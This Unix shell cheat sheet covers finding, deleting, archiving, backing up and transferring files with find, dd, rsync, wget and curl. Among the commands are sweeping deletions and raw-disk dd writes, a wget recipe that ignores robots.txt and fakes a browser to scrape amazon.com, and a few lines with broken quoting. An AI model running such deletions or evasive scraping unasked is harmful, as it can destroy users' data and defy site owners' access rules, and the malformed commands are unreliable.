>> FILENAME=`echo ${FILE##*/}`;FILEPATH=`echo ${FILE%/*}`;NOEXT=`echo ${FILENAME%\.*}`;EXT=`echo ${FILE##*.}`
* Get the full path to a file
>> realpath examplefile.txt
* get the top 10 longest filenames
>> find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
* Get the absolute path of a file
>> absolute_path () { readlink -f "$1"; };
SEARCHING FOR FILES AND DIRECTORIES
This section covers techniques to search for and find files and
folders on a Unix system. This mainly involves using the "find"
program from the command line. This program is flexible and useful,
but its syntax can initially seem to be unnecessarily complicated.
For example "find filename" will not work.
The 'find' tool has an enormous number of options and operators to
construct truly abstruse find commands.
@@ http://www.softpanorama.org/Tools/Find/find_mini_tutorial.shtml
a find tutorial
* Graphical search tools: Beagle, Google desktop
## for some reason find / -name "*.c" doesnt search all subfolders for me
## for this reason I use the syntax
## find /* ....
* do a full file listing of every file found with locate
>> locate searchstring | xargs ls -l
* allow the user to select a file and print the chosen file
>> zenity --file-selection --title 'select a file'
* Find all directories on filesystem containing more than 99MB
>> du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
* find all files with "tree" in the name in the current folder and subfolders
>> find . -iname "*tree*"
* Searching files
>> find /dir/ -name *name*
* best command for searching files
>> find / -name \*string\*
* Search through files, ignoring .svn
>> find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
* search the contents of '.c' and '.h' file types recursively
>> find . -name "*.[ch]" | xargs grep "TODO"
SEARCHING FOR FOLDERS ....
* find all directories in the system
>> find /* -type d ##(the -print action is assumed)
>> find /* -type d -print ##(the same as above)
>> find / -type d ##(on many computer the "*" may not be required)
* show all folders in the current folder
>> find -maxdepth 1 -type d
* find all subdirectories and print the full path name
>> find $(pwd) -type d | less
* find all directories which begin with a '.'
>> find / -type d -name .\* -print
>> find /* -type d -name .\* -print
##(for some reason the "/*" idiom is necessary on my computer)
FINDING FILES BY NAME ....
* find all c code files on the computer
>> find /* -iname "*.c" ##(-iname does a case insensitive name search)
* find files in the current and subfolder with a ".txt" filename extension
>> find . -name "*.txt" ##(this will find "index.txt" but not "index.TXT")
* find all files whose names end with '.txt' or '.csv'
>> find . -name "*.txt" -o -name "*.csv"
##(-o is the logical 'or' operator)
>> find . -name '*.txt' -o -name '*.csv'
##(the same, but not always)
>> find / -regex ".*\.\(xls\|csv\)"
##(the same, but a bit messy)
* find all files whose names end with '.txt' or '.csv' case insensitive
>> find / -iregex ".*\.\(xls\|csv\)" ##(finds a.CSV, b.Xls, C.csV etc)
>> find . -iname "*.txt" -o -iname "*.csv" ##(the same)
* find files which have 'tree' somewhere in the path or name
>> find . -wholename '*tree*'
>> find . -path '*tree*' ##(the same, but deprecated)
* find all non-html files
>> find . -type f ! -name "*html"
SEARCHING FOR FILES BY SIZE ....
* Sort file greater than a specified size in human readeable format
>> find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
* Get the 10 biggest files/folders for the current direcotry
>> du -sk * |sort -rn |head
* Find all the files more than 10MB, sort in descending order of
>> find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
* find files which are larger than 10 megabytes
>> find / -size +10000000c -print
>> find / -size +10M ##(the same but shorter and more readable)
* find files which are larger than 10 kilobytes
>> find / -size +10k ##(the same but better)
* show file sizes in a readable format for all files bigger than 100k
>> find . -size +100k -print | xargs du -sh | less
##(searches this & subfolders)
>> find . -size +100k | xargs du -sh | less ##(the same)
* delete all files in the current and subfolder which are bigger than 100k
>> find . -size +100k | xargs rm | less ##(rather dangerous this command!)
* a bash function which finds files bigger than an amount of meg
----------------------------------------------------------------
function bigger {
[ -z "$1" ] && echo "usage: $FUNCNAME filesize" && return 3
find . -size +${1}M | xargs du -sh | less
}
,,,
* List top ten files/directories sorted by size
>> du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
FINDING FILES BY MODIFICATION TIME ....
* show files in the home folder which have been modified in the last 24 hours
>> find $HOME -mtime 0
* find all files which have been modified in the last 7 days
>> find / -mtime -7 -print
>> find /* -mtime -7 -print ##(works better for me)
* remove files in the /tmp folder which havent been modified in a week
>> find /tmp -mtime +7 -exec rm -rf {} \;
>> find /tmp -mtime +7 | xargs rm -rf ##(the same but nicer and maybe faster)
* compress log files which havent been modified for a week
>> find /var/log -mtime +7 -exec gzip {} \;
* find files which were last modified (the data) more than 30 minutes ago
>> find . -mmin +30
* find files whose data was modified less than 30 minutes ago
>> find . -mmin -30
* files which were modified more recently than 'tree.txt'
>> find . -newer tree.txt
BY ACCESS TIME ....
* find all files in the current folder tree accessed exactly 10 minutes ago
>> find . -amin 10
* find files accessed more than 10 minutes ago
>> find . -amin +10
* find files accessed less than 10 minutes ago
>> find . -amin -10
* find files which were accessed after the file 'tree.txt' was modified
>> find . -anewer tree.txt
* find files which were last accessed more than 48 hours ago
>> find . -atime +2
* find files which were last accessed less than 48 hours ago
>> find . -atime -2
BY FILE TYPE ....
* find all empty files and folder in this and all subfolders
>> find . -empty
* find all executable files (not folders)
>> find . -type f -executable
* find all image files on the computer
>> find / | xargs file | grep image | less
FINDING TEXT FILES ....
* find files which contain the word 'big' in this folder and subfolders
>> find . -type f -print | xargs grep -l big
>> grep -rl big * ##(this is the same but not all greps have the 'r' option)
* find all files having the phrase 'big boy' in the 'doc/books' folder tree
>> grep -rl 'big boy' doc/books ##(this is a case sensitive search)
>> grep -ril 'big boy' doc/books ##(finds 'big boy', 'BiG Boy' etc)
>> grep -sril 'big boy' doc/books ##(dont show any error messages)
>> grep -sri 'big boy' doc/books ##(show matching lines, not just filenames)
* find all ".html" files in "/etc" which do *not* contain the "<img" tag
>> find /etc -iname "*.html" | xargs grep -L "<img"
* find all files with names ending in '.html' or '.php' containing the word 'big'
>> find / \(-name \*.html -o -name \*.php\) | xargs grep -i "big"
##(this uses the tool 'xargs' instead of a 'for' loop)
* find all text files in the current directory and all subfolders
>> find . | perl -lne '-T "$_" and print "$_"' | less
>> find . | perl -lne '-T $_ and print $_' | less ##(the same, I think...)
FINDING FILES BY PERMISSIONS ....
* find files not readable by all users
>> find -type f ! -perm -444
* find folders which are not accessible for all users
>> find -type d ! -perm -111
COMPLEX FIND EXPRESSIONS ....
Find can use logical operators on each condition. This makes it possible
to construct complex, and hopefully powerful find commands.
* find all files ending in '.csv' which are real files and list them
>> find / -type f -name "*.csv"
>> find / -type f -a -name "*.csv" ##(the same, '-a' means logical and)
* use the 'and' logical operator
>> find / -type f -a -name "*.csv" ##(the -a is not necessary)
* use the 'or ' logical operator: find files ending in .txt or .csv
>> find / -name '*.txt -o -name "*.csv"
* find files ending in '.xls' or '.csv' which are real files (not folders etc)
>> find / -type f \( -name "*.xls" -o -name "*.csv" \) -exec ls -l {} \;
* find all files whose names dont end in '.csv'
>> find . \! -name '*.csv'
DOING SOMETHING WITH FOUND FILES ....
Find also support the -exec option which performs an action on each
found file, but it may be better to use 'xargs' instead for speed
>> find / -type f \( -name "*.xls" -o -name "*.csv" \) -exec ls -l {} \;
* the -exec option can be used to carry out an action on the found files
>> find . -name "*" -exec cp "{}" img \;
* delete all files whose names end in '.txt' in this and all subfolders
>> find . -name '*.txt' -delete ##(a bit dangerous, but anyway)
>> find . -name '*.txt -exec rm {} \; ##(the same, if you like typing)
>> find . -name '*.txt -exec rm "{}" \; ##(better? but why)
>> find . -name '*.txt | xargs rm ##(the same, might be faster, who knows)
* delete each file but ask the user for confirmation
>> find . -name '*.txt' -ok rm {} \;
>> find . -name '*.txt' -ok rm "{}" \; ##(better)
* display the file type information about each file in this folder tree
>> find . -type f -exec file '{}' \;
LOCATING FILES
The 'locate' tool is faster than find, because it use an 'index' which
has to be updated when the filesystem changes.
* use locate,
* update the file name database for the locate command
>> updatedb
* find all executable files in the current and subfolder with 'tree' in the name
>> find . -name "*tree*" | perl -lne '-x and print'
>> find . -name "*tree*" | perl -lne '-x && print' ##(the same)
>> find . -name "*tree*" | perl -lne '-x $_ and print $_' ##(the same)
RENAMING AND MOVING FILES ....
* smart renaming of files
>> ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
* convert filenames in current directory to lowercase
>> for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
* recursively change file name from uppercase to lowercase (or
>> find . -type f | while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
* Replace space in filename
>> rename "s/ *//g" *.jpg
* Rename .JPG to .jpg recursively
>> find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
* rename all '.html' files in the folder to '.php'
>> rename 's/\.html$/.php/' *.html ##(index.html will become index.php)
* rename uppercase file names to lower-case
>> rename 'y/A-Z/a-z/' *
* show what renaming would happen but dont actually do anything
>> rename -n 's/\.htm$/.html/' *.html
* rename all files on the entire computer from "htm" -> "html"
>> find /* -name "*.htm" | xargs rename 's/\.htm$/.html/'
>> find /* -name "*.htm" -exec rename 's/\.htm$/.html/' "{}" \; ##(slower)
# the "xargs" version is much much faster than the "-exec" version
# using "xargs -I {} cmd {} " slows down xargs alot
# in this case.
* Batch file name renaming (copying or moving) w/ glob matching.
>> for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
* get only the first component of a Unix style file name
>> f=/user/home/hh.html; echo f | sed "s*^/**" | cut -d '/' -f 1
##(this prints "user")
DELETING FILES ....
* delete files except some file
>> find . |more |grep -v filename |xargs rm
* Removes file with a dash in the beginning of the name
>> rm -- --myfile
* List and delete files older than one year
>> find <directory path> -mtime +365 -and -not -type d -delete
* Delete files if not have some extension
>> ls -1 |grep -v .jpg |xargs rm
* take a look at what a command will do before doing it
>> find /tmp -type f -printf 'rm "%p";\n'
* empty the trash folder
>> alias trash="rm -fr ~/.local/share/Trash"
* may be the optimal way of deleting huge numbers of files
>> find /path/to/dir -type f -delete
* Verbosely delete files matching specific name pattern, older than x
>> find /backup/directory -name "some*" -mtime +15 | xargs rm -vf
* Watch how fast the files in a drive are being deleted
>> watch "df | grep /path/to/drive"
* Remove a file whose name begins with a dash ( - ) character
>> rm ./-filename
* Erase empty files
>> find . -size 0 -print0 | xargs -0 rm
* Delete files older than 5 (days?)
>> find /dir_name -mtime +5 -exec rm {} \
* remove files and directories which havent been accessed in the last 20 minutes
>> find -amin +20 -delete
* remove all files with the extension ".dvi" and ".log"
>> rm *.{dvi,log}
* Remove all but the 5 most recent file in a directory.
>> rm `ls -t | awk 'NR>5'` ##(the old bash syntax)
>> rm $(ls -t | awk 'NR>5') ##(the same, but new syntax)
* securely erase unused blocks in a partition
>> # cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks
COPYING FILES ....
* copy lots of files from the current folder to the folder "img"
>> find . -name "*" | xargs -I {} cp {} img ##(may be faster than -exec)
>> find . -name "*" -exec cp "{}" img \;
##( "cp * img/" may give the result: file list too long)
##(find with "-exec" is much much faster than a "for" loop)
* A rather slow "for" loop for copying files
>> for i in *; do cp $i img/; done
SYMBOLIC LINKS TO FILES ....
* make a symbolic link to the mounted hard drive in the home folder
>> ln -s /mnt/hda1 ~/disk
>> ln -s /path/to/original /path/to/link ##(general format)
* make a link to '.bashrc' in the current folder.
>> ln -s ~/.bashrc ##(the symbolic link will be calledd 'bashrc')
* delete a symbolic link
>> rm link ##(the original file is not deleted)
* see where a symbolic link points to
>> ls -l link
FILE COMPRESSION
* Create a tar archive using 7z compression
>> tar cf - /path/to/data | 7z a -si archivename.tar.7z
* backup and remove files with access time older than 5 days.
>> tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime
* Extract a remote tarball in the current directory without having
>> curl http://example.com/foo.tar.gz | tar zxvf -
* Extract tarball from internet without local saving
>> wget -O - http://example.com/a.gz | tar xz
* Gzip files older than 10 days matching *
>> find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
* Zip all subdirectories into zipfiles
>> for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done
* Pack up some files into a tarball on a remote server without
>> tar -czf - * | ssh example.com "cat > files.tar.gz"
* backup a directory in a timestamped tar.gz
>> tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
* Create a tar.gz in a single command
>> tar cvf - foodir | gzip > foo.tar.gz
* Extract tar.gz in a single command
>> gunzip < foo.tar.gz | tar xvf -
* Create a zip file ignoring .svn files
>> zip -r foo.zip DIR -x "*/.svn/*"
>> unzip -lt foo.zip | grep testing | awk '{print $2}' | xargs rm -r
* Remove all files previously extracted from a tar(.gz) file.
>> tar -tf <file.tar.gz> | xargs rm -r
* List contents of tar archive within a compressed 7zip archive
>> 7z x -so testfile.tar.7z | tar tvf -
* Extract neatly a rar compressed file
>> unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
* Compare an archive with the file-system
>> tar dfz horde-webmail-1.2.3.tar.gz
* compress a file and watch the progress
>> tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
* Create a self-extracting archive for win32 using 7-zip
>> 7z -sfx archive.exe /path/to/archive
* Compression formats Benchmark
>> for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
* list the contents of a .gz compressed tar archive file
>> tar ztvf file.tar.gz ##(nothing is uncompressed or extracted)
* list the contents of a .bz2 compressed tar archivve file
>> tar jtvf file.tar.bz2
* compress stuff and show a progress bar while it is working
>> tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
* uncompress a ".bz2" compressed file
>> bunzip2 filename.txt.bz2
* for files ending with ".Z" use "uncompress"
>> uncompress file.Z
* view the contents of the compressed file 'comp.gz'
>> zcat comp.gz
* page through the contents of a compressed file
>> zless filename
* compress a file as small as possible with gzip
>> gzip --best file
* browse a compressed directory
>> mc ##(the gnu midnight commander, uses 'curses')
* create a compressed archive of the folder 'dir' in file 'dir.tar.gz'
>> tar -cvz --exclude *.exe -f dir.tar.gz dir
##(excludes all filenames ending with '.exe')
* Compress files found with find
>> find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
* Create a zip archive excluding all SVN folders
>> zip -r myfile.zip * -x \*.svn\*
ARCHIVES OF FILES
A file archive is a way to combine many different files within
one file, optionally compressing (reducing the size) of each file
included in the "archive" file. The purpose of creating file archives
is to facilitate making backups of files or for transfering files from
one computer to another.
* Compress archive(s) or directory(ies) and split the output file
>> rar a -m5 -v5M -R myarchive.rar /home/
* Split a tarball into multiple parts
>> tar cf - <dir>|split -b<max_size>M - <name>.tar.
* Unrar all files in a directory
>> for f in *.rar;do unrar e ?$f?;done
* Tar - Compress by excluding folders
>> tar -cvzf arch.tgz $(find /path/dir -not -type d)
* Extract tarball from internet without local saving
>> curl http://example.com/a.gz | tar xz
* Slightly better compressed archives
>> find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
* Archive a directory with datestamp on filename
>> tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
* display the files contained in the "tar" archive file "archive.tar"
>> tar tvf archive.tar
##(the 'v' option prints each file which is added to the archive)
* append files with names ending in ".txt" to the archive file "text.tar"
>> tar rvfn text.tar *.txt
>> tar -rvfn text.tar *.txt ##(this is the same, the "-" is optional)
* create an archive file "new.tar" and append all "c" source files to it
>> tar -cvf new.tar *.c
>> tar cvf new.tar *.c ##(the same)
* create an archive file "new.tar" of the folder /etc/lynx
>> tar cvvf new.tar /etc/lynx ##("vv" means "extra verbosity")
* extract all files from a "tar" archive file
>> tar xvf myfile.tar
BACKUPS OF DATA AND DISKS
A backup is essentially a copy of data which is stored in a
different place from the original data, and which hopefully will
combat the laws of entropy.
FILE BACKUPS ....
On unix-style systems, backup files have traditionally had a
'~' extension.
* add a backup (or any other) suffix to the file 'data'
>> mv -vi data{,~}
* Create a quick back-up copy of a file
>> cp file.txt{,.bak}
* Create a backup of the file 'fo/list' with todays timestamp
>> cp fo/list{,-$(date +%Y-%m-%d)}
* quickly backup or copy a file 'list.txt' with bash
>> cp -bfS.bak list.txt list.txt
* remove backup files (with the '~' extension)
>> find / -name *~ -delete
>> locate '*~' | xargs rm ##(faster but not as thorough)
* never rewrite a file while copying (or moving)
>> cp --backup=t source.file target.file
* a function to create backups with a day-time timestamp
>> backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }
FOLDER BACKUPS ....
* backup directory. (for bash)
>> cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
* create a separate backup file for all files in current folder
>> find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak}
REMOTE BACKUPS ....
* Backup a filesystem to a remote machine and use cstream to
>> nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"
* Send a backup job to a remote tape drive on another machine over ssh
>> tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
* backup and synchronize entire remote folder locally (curlftpfs and
>> curlftpfs ftp://username:password@ftpserver /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
DISK BACKUPS ....
* check the status of 'dd' in progress
>> watch -n 10 killall -USR1 dd
* Backup of a partition
>> cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
* make a backup of an entire hard disk (the first one), saving to a file
>> dd if=/dev/hda of=/path/to/image/file
* make a backup of the second hard disk, compress it and write to a file
>> dd if=/dev/hdb | gzip > /path/to/image.gz
* restore a backup of the hard disk /dev/hdb
>> dd if=/path/to/image of=/dev/hdb
* restore a compressed backup of a hard disk
>> gzip -dc /path/to/image.gz | dd of=/dev/hda
* create a backup of the master boot record and partition table of the 'hdb' disk
>> dd if=/dev/hdb of=/path/to/image count=1 bs=512
RESTORING A BACKUP ....
* Restore a local drive from the image on remote host via ssh
>> ssh user@server 'dd if=sda.img' | dd of=/dev/sda
TRANSFERING FILES
------------------------------------------------------------
A wide range of programs are available to transfer files between
different computers on a network, and each has its own particular
speciality
== remote file transfer programs
.. ftp, unencrypted file transfer (older)
.. sftp, encrypted file transfer with user interaction
.. scp, encrypted file transfer, non-interactive (faster than sftp)
.. wget, http recursive file download, suitable for a bad connection
.. curl, like wget but with some more options
.. rsync, an efficient and flexible remote copy program
.. bittorent, distributed file transfer
..,
* Sharing file through http 80 port
>> nc -w 5 -v -l -p 80 < file.ext
* transfer files using commands in 'ftp.txt' to server.net
>> sftp -bc -pw password -l username -b ftp.txt server.net
* Copy a file over SSH without SCP
>> ssh HOST cat < LOCALFILE ">" REMOTEFILE
* share the current directory tree (via http) at http://$HOSTNAME:8000/
>> python -m SimpleHTTPServer
SCP ....
* Easily scp a file back to the host you're connecting from
>> mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
* scp file from hostb to hostc while logged into hosta
>> scp user@hostb:file user@hostc:
The secure copy program is allegedly faster than 'sftp' mode, and uses
ssh encryption. For transfering entire folders the 'rsync' program should
probably used instead. Scp appears incapable of transfering 2 different
files to 2 different folders. For that, see sftp
* scp a good script from host A which has no public access to host
>> cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
* transfer the file 'book.txt' to the books folder of the sourceforge server
>> scp books.txt user,project@web.sf.net:htdocs/books/
* upload multiple files into one folder on the sourceforge server
>> scp file1 file2 user,project@web.sourceforge.net:htdocs/
* download 2 files from the server using the account 'user'
>> scp user@server.net:"chap1.txt chap2.txt" ~/books
* upload the 'books' folder to the server 'machine.net' with account 'bob'
>> scp -r ~/logs bob@machine.net:~/books ##(consider using rsync instead)
* download all the files in the 'books' folder to the current local folder
>> scp bob@machine.net:/home/books/* . ##(no subfolders are downloaded)
* copy the file 'file.txt' from the 'server.net' host to the 'server.org'
>> scp donkey@server.net:file1.txt donkey@server.org:books
SFTP ....
sftp transfers files using the encrypted ssh (secure shell) protocol
and is thus 'safer' and more modern than 'ftp'. sftp is designed to
be used interactively by the user, but can also run in batch mode
with the -b switch
* using sftp in batch mode to upload to the sourceforge web server
>> sftp -b a.txt user,project@web.sf.net > /tmp/sftp.log
>> the file 'a.txt' contains 'cd books; put chap1.txt; bye;'
RSYNC
== rsync tools
.. grsync - a very basic graphical version of rsync with gtk
..
* rsync + find
>> find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
* create an incremental backup of a directory using hard links
>> rsync -a --delete --link-dest=../lastbackup $folder $dname/
Rsync is a very powerful network file copying program. It is particularly
nice because it only transfers the parts of the files which have changed
(the 'difference' to the old files). This saves a great deal of bandwidth
and is probably the most efficient and pleasant way to develop a website.
It is a program with a very large number of options to fine tune the way
the file transfers take place.
Note: If the source path ends with "/" then the contents of the folder are
copied but the folder itself is not
SIMPLE USAGE OF RSYNC ....
* the general form of rsync is
>> rsync [options] source destination
* download files from folder 'path' on the server to a local folder
-------------------------------------------------------------------
rsync -avP user@server.com:path/ /local/folder/
rsync -avP -e ssh user@server.com:path/ /local/folder/ ##(using ssh)
options:
-a archive mode
-P keep partially transfered files, and show progress
during the transfer of files
,,,
* copy recursively all files and folders from src/bar to /data/tmp/bar
>> rsync -avz machine:src/bar /data/tmp
##(note that a new directory "bar" may be created within '/data/tmp')
* copy recursively all files and folders from src/bar/ to /data/tmp
-------------------------------------------------------------------
rsync -avz foo:src/bar/ /data/tmp
##(note that NO directory "/data/tmp/bar" will be created)
options:
-v verbose output
-a the "archive" mode, which means the same as "-rlptgoD"
-r recurse into directories
-l copy symbolic links as symbolic links
-p preserve file permissions
-t preserve file timestamps
-g preserve the group information of the files (where possible)
-o preserve file owner information
-D preserve device and special files (where possible)
-z compress file data during the transfer
,,,
* copy all files from the current folder to "htdocs/books/" on the server
>> rsync -rv --exclude=*.swp . user@server:htdocs/books/
The contents of the current folder are copied but not the folder itself.
Files with names ending in '.swp' are not copied because of the
--exclude option.
* Remote copy directories and files through an SSH tunnel host
>> rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
* copy files displaying a progress bar.
>> rsync -av --progress ./file.txt user@host:/path/to/dir
LOCAL COPYING ....
Instead of using 'cp' one may use rsync instead to copy and
synchronise large folders. This has the advantage that not all
the files need be copied, only those that have changed.
* synchronise the users 'web' folder with a folder on a usb key
>> rsync -r ~/web/ /media/KINGSTON/web/
>> rsync -r ~/web/ /media/KINGSTON/web ##(the same)
>> rsync -r ~/web /media/KINGSTON/ ##(the same)
>> rsync -rv ~/web/ /media/KINGSTON/web ##(the same, but verbose)
>> rsync -rvn ~/web/ /media/KINGSTON/web/ ##(just see what would happen)
The trailing '/' on ~/web/ is important since it determined whether
rsync will copy just the contents of the folder or the folder
itself.
* copy the folder 'big' from the current folder to the '/home/user/' folder
>> rsync -r big /home/user/
>> cp -r big /home/user/ ##(this is more or less the same)
* copy the folder 'big' to the users home folder exclude 'iso' files
>> rsync -rv --progress --exclude=*.iso big ~/ ##(progress is shown)
EXCLUDING FILES FROM RSYNC TRANSFERS ........
* upload files excluding the directory 'images'
>> rsync -r --exclude='images' /local/dir/ user@server.com:path/
The local folder /local/dir/images is not uploaded to the remote
computer (server.com).
* synchronise by uploading all files except 'png' & 'jpg' images
>> rsync -r --exclude=*.png --exclude=*.jpg /local/dir/ user@server.com:path/
* upload all files except 'pdf' documents and the /local/dir/images folder
>> rsync -r --exclude=*.pdf --exclude=images /local/dir/ user@server.com:path/
* upload files excluding everthing listed in the file '/path/list.txt'
>> rsync --exclude-from '/path/list.txt' /local/dir/ user@server.com:path/
##(an absolute path for the exclude file seems to be necessary, 2008)
* try bittorent.
PROBLEMS ....
There seems to be no short option for --exclude. It also seems
imposible to include a list of files with one --exclude option
DELETING DESTINATION FILES WITH RSYNC ........
* see what files would be deleted with the "--delete" option
>> rsync -rnv --delete /home/user/ user@server:path/
>> rsync -rv --delete --dry-run /home/user/ user@server:path/ ##(the same)
##(this should always be done before using "--delete")
* recursively upload the contents of /home/ and delete destination files
* not found in the source folder tree (this can be dangerous!, first use "-n")
>> rsync -r --delete /home/ user@server:path/
* upload files TO a server from a local folder using rsync and ssh
* upload the '/home/' folder except c files, deleting c files at the destination
>> rsync -rv --delete-excluded --exclude=*.c /home/ user@server:path/
* upload recursively the current directory excluding the folder
* "tree" and deleting the folder "tree" at the destination
>> rsync -rv --delete-excluded --exclude=tree . user@machine:/books/web
>> rsync -avP -e ssh /local/folder/ user@server.com:path/
* copy all files from the "/home/user/" folder to path/ on the server
>> rsync -e ssh /home/user/* user@server.com:path/
##(this is not a recursive copy; folders are not copied; the shell handles "*")
SYMBOLIC LINKS AND RSYNC ....
* upload files, copying the target of symbolic links
>> rsync -rv --copy-links /local/folder/ user@server.com:path/
>> rsync -rvL /local/folder/ user@server.com:path/ ##(the same)
SOURCEFORGE ....
* see what a sourceforge download with rsync would do without doing anything
>> rsync -rvn -e ssh user,project@web.sf.net:htdocs/books ~/work/htdocs'
* upload to an sf project folder excluding vim swap files
>> rsync -rv --exclude='*.swp' -e ssh ~/sf/htdocs/books user,project@web.sf.net:htdocs/'
##(if it doesnt exist, the 'books' folder is created on the server)
* get a project web-folder from sourceforge showing progress
>> rsync -r --progress -e ssh user,project@web.sf.net:htdocs/books ~/work/htdocs'
UPLOADING FILES
* use rsync, sftp, ftp,
DOWNLOADING FILES ....
Downloading refers to the process of transfering files from
a remote computer (somewhere on the internet, or just in the next
room) to the the computer on which you are working.
@@ http://en.wikipedia.org/wiki/Wget
Tools: wget, curl
Wget has the advantage that it works on slow and precarious
internet connections and can be scripted and scheduled. Curl is
very similar to wget but provides a few extra features.
* snarf is a command line resource grabber.
>> snarf http://foo.bar.com/picture.jpg
* Download an entire ftp directory using wget
>> wget -r ftp://user:pass@ftp.example.com
* Download from Rapidshare Premium using wget - Part 2
>> wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
* mirror a yahoo geocities site, accepting only txt, html ... etc
>> wget -nH -m -Atxt,html,js,java,class,css -Isitename http://www.geocities.com/sitename
* resume downloading a file from the internet
>> wget -c url ##(wget automatically retries getting)
* download a file limiting the download rate to 20k/second
>> wget --limit-rate=20k url
##(this prevents wget hogging the available network bandwidth)
* get all the URLS contained in the file "list.txt"
>> wget -i list.txt
* download the html file and save it to the folder "tree"
>> wget -P"tree" http://bumble.sf.net
* download all ".gif" files from a web folder
>> wget -r -l1 --no-parent -A.gif http://host/folder/
* mirror a website without overwriting any existing local files
>> wget -nc -r http://www.gnu.ai.mit.edu/
* Download an entire website
>> wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
* download a file and output to standard output
>> wget -O - http://jagor.srce.hr/
* get all the pages linked to by the page "links.html"
>> wget -O - http://host/links.html | wget --force-html -i
* check the validity of links in the file bookmarks.html
>> wget --spider --force-html -i bookmarks.html
* mirror the site http://fa.org/, with 3 retries logging errors in 'mirror.log'
>> wget -m -t3 http://fa.org/ -o mirror.log
* use wget but pretend to be the "Konqueror" browser
>> wget --user-agent="Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.98 (like Gecko)"
##(some sites may block access to wget to reduce server load)
* pretend to be the "Lynx" text mode browser
>> wget -U "Lynx/2.8.7dev.9 libwww-FM/2.14" http://site
* download free ebooks from amazon.com
--------------------------------------
# pretends to be firefox, recurses to 2 levels
wget -erobots=off --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -H -r -l2 --max-redirect=1 -w 5 --random-wait -PmyBooksFolder -nd --no-parent -A.pdf http://amazon.com
,,,
USING CURL ....
The curl utility is very similar to 'wget' but provides a few
extra tricks.
* HTTP Get of a web page via proxy server with login credentials
>> curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
* get a file while pretending to be netscape 4.73 browser
>> curl -A "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL]
* follow http redirects (where the page is automatically refreshed to another)
>> curl -L www.will.redirect.org
* use url 'globbing' to get several pages
>> curl http://site.{one,two,three}.com
* use arithmetic 'globbing' of urls to retrieve lots of pages
>> curl http://www.example.com/file[1-100].txt
##(this will retrieve file1.txt, file2.txt, file3.txt ...)
>> curl http://www.eg.org/file[001-100].txt
##(this will retrieve file001.txt, file002.txt, ... file099.txt, file100.txt)
* specify an alphabetic sequence of urls to retrieve
>> curl www.eg.org/[a-g].html ##(will get a.html, b.html, ... g.html)
* various sequences can be include to get lots of files
>> curl www.eg.org/archive[1996-1999]/vol[1-4]/part[a-f].html
* specify a sequence of urls to retrieve with a 'step' value (since 7.15.1)
>> curl http://www.eg.org/[1-100:10].txt ##(gets 1.txt, 11.txt, 21.txt ...)
* access a page which is protected by basic authentication
>> curl -u name:password www.secrets.com
* get the files a.html, b.html, c.html and save them with their names
>> curl -O www.eg.com/[a-c].html
* get a.txt, r.txt and s.txt and save them in a file called dump.txt
>> curl -o dump.txt www.eg.com/{a,r,s}.txt
* get all the pages of the linux cookbook pretending to be mozilla
>> curl -A "Mozilla/4.0" -O http://dsl.org/cookbook/cookbook_[1-45].html
>> for i in $(seq 1 45); do curl -A "Mozilla/4.0" -O http://dsl.org/cookbook/cookbook_$i.html; sleep 2; done ##(the same, but sleeping 2 seconds)
* download the linux cookbook, and convert to text at the same time
>> for i in $(seq 1 45); do lynx --dump http://dsl.org/cookbook/cookbook_$i.html > cookbook-$i.txt; sleep 2; done
MIRRORING ....
* Create a mirror of a local folder, on a remote server
